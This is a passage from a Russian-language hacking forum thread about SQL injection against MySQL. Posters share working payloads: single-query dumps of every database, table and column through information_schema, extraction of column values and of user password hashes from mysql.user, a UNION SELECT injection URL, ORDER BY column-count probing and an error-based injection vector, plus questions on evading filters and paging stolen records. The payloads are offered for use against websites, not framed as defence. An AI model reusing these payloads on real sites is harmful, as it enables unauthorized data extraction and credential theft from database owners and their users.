HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 31.03.2015, 17:43
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию

начиная с версии MySQL 5.7 колонка password в бд mysql переименована в authentication_string.

Код:
Code:
SELECT user, authentication_string FROM mysql.user;
 

  #2  
Старый 02.04.2015, 14:45
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

Товарищ profexer сделал очень крутую вещь - ускоритель MySQL.

Вывод данных в один запрос:

SELECT MID(CONCAT(@p:=0x20,(SELECT COUNT(*) FROM {TABLE} WHERE @p:=CONCAT(@p,0x2C,{COLUMNS})),@p),5)

Хотелось бы сразу получить одним запросом абсолютно всю структуру и уже далее тащить данные, а сделать можно это так(я сделал пример без пробелов!). Если есть предположения, что бд очень много, то сразу можно использовать пример ниже.



Список абсолютно всех бд, таблиц, колонок одним запросом(без пробелов!)


SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(i nformation_schema.columns)WHERE@p:=CONCAT(@p,0x0D0 A ,table_schema,0x3a,table_name,0x3a,column_name)),@ p),5))

0x0D0A -> перевод строки, смотреть в "Исходный код страницы"

Если желаете, то можете заменить на 0x2C -> Запятая или другой удобной вид, но в данном случае, как мне кажется, структуру любой бд с скули наглядно сразу не будет видно.

Ну далее частные случаи:



Список бд(без пробелов!)


SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(i nformation_schema.schemata)WHERE@p:=CONCAT(@p,0x2C ,schema_name)),@p),5))

Список всех бд, таблиц(без пробелов!)

SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(i nformation_schema.tables)WHERE@p:=CONCAT(@p,0x0D0A ,table_schema,0x3a,table_name)),@p),5))

Список всех таблиц, колонок текущей бд(без пробелов!)

SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(( select*from(information_schema.columns)where(table _schema=database()))x)WHERE@p:=CONCAT(@p,0x0D0A ,table_schema,0x3a,table_name,0x3a,column_name)),@ p),5))

Список таблиц текущей бд(без пробелов!)

SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(( select*from(information_schema.tables)where(table_ schema=database()))x)WHERE@p:=CONCAT(@p,0x2C,table _name)),@p),5))

Список колонок таблицы users(без пробелов!)

SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(( select*from(information_schema.columns)where(table _name=0x7573657273))x)WHERE@p:=CONCAT(@p,0x2C,colu mn_name)),@p),5))

ps помните, таблица users и в другой бд может быть, тогда добавить условие в where

И напоследок значения с колонок(без пробелов!)

SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM({ TABLE})WHERE@p:=CONCAT(@p,0x0D0A,{COLUMN1},0x3a,{C OLUMN2})),@p),5))
 

  #3  
Старый 10.04.2015, 21:41
djkefir
Guest
Сообщений: n/a
Провел на форуме:
10028

Репутация: 0
По умолчанию

Может есть софт который проверяет параметры страницы на инъекцию?

а то бывает что данные не выводятся, или ещё что-то такое.
 

  #4  
Старый 29.04.2015, 16:02
reuvenmatbil
Guest
Сообщений: n/a
Провел на форуме:
5818

Репутация: 0
По умолчанию

интересует вот что

INFORMATION_SCHEMA.TABLES открывается вот таким способом

http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 1,1 --

если кроме INFORMATION_SCHEMA на сайте есть

bd1

db2

как их открыть?
 

  #5  
Старый 11.06.2015, 17:19
YaBtr
Guest
Сообщений: n/a
Провел на форуме:
132418

Репутация: 652
По умолчанию

Цитата:
Сообщение от psihoz26  
psihoz26 said:

Хочу добавить про подбор колонок в 1 запрос.
В случае если sqli выводит ошибки и пэйлоад вида
Код:
Code:
*+order+by+100+--+
выдаст нам ошибку
Код:
Code:
Query failed: Unknown column '100' in 'order clause'
То сразу смело вставляем такой пэйлоад
Код:
Code:
+order+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70+--+
В ответ получим
Код:
Code:
Query failed: Unknown column '*' in 'order clause'
Где '*'-1='колличество наших колонок'.
/threads/43966/page-4#post-1227563
 

  #6  
Старый 11.06.2015, 18:22
psihoz26
Guest
Сообщений: n/a
Провел на форуме:
182660

Репутация: 324
По умолчанию

Цитата:
Сообщение от YaBtr  
пардон не видел)
 

  #7  
Старый 26.11.2015, 07:53
absolem
Guest
Сообщений: n/a
Провел на форуме:
370

Репутация: 0
По умолчанию

Цитата:
Сообщение от Strilo4ka  
Strilo4ka said:

И напоследок значения с колонок(без пробелов!)
SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM({ TABLE})WHERE@p:=CONCAT(@p,0x0D0A,{COLUMN1},0x3a,{C OLUMN2})),@p),5))
Приветствую! А подскажите как правильно преобразоватть этот запрос с оператором LIMIT, что бы мне выводилось, к примеру, из COLUMN1,COLUMN2 только первые 5к записей, а не все сразу.
 

  #8  
Старый 27.12.2015, 11:49
InSys
Guest
Сообщений: n/a
Провел на форуме:
5498

Репутация: 31
По умолчанию

Если вдруг кому будет интересно, немного о том почему вообще работает метод вывода данных в тексте ошибки Duplicate entry '[data]' for key 'group_key'вынес в отдельную статью:

Error-Based SQL injection в MySQL

И максимально сокращенный вектор этого метода выглядит теперь вот так:

Код:
Code:
SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2)x GROUP BY MID([YOUR_QUERY], FLOOR(RAND(33)*2), 64)
 

  #9  
Старый 27.09.2016, 00:43
Coderast
Guest
Сообщений: n/a
Провел на форуме:
294

Репутация: 0
По умолчанию

Вопрос) Если в инъекции нельзя заюзать точку и тем самым не могу сделать например [...] SELECT * FROM INFORMATION_SCHEMA.TABLES [...] пробовал заюзать CHAR() но почему-то в названии таблицы не пашет
 

  #10  
Старый 07.07.2007, 22:58
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337

Репутация: 3486


По умолчанию

Цитата:
Сообщение от _Great_  
Вообще это далеко не первая статья на эту тематику. С завидной периодичностью их пишут почти каждые 2 недели
Согласен, но это наиболее полный сбор всего.

Кстати гораздо лучше чем выделенная тема:
https://forum.antichat.ru/threadnav19605-1-10.html
__________________
..
 
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
SQL Injection: Modes of Attack, Defence, and Why It Matters bxN5 Forum for discussion of ANTICHAT 1 09.04.2007 19:07
SQL Injection FAQ bx_N Forum for discussion of ANTICHAT 2 08.03.2007 18:48



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ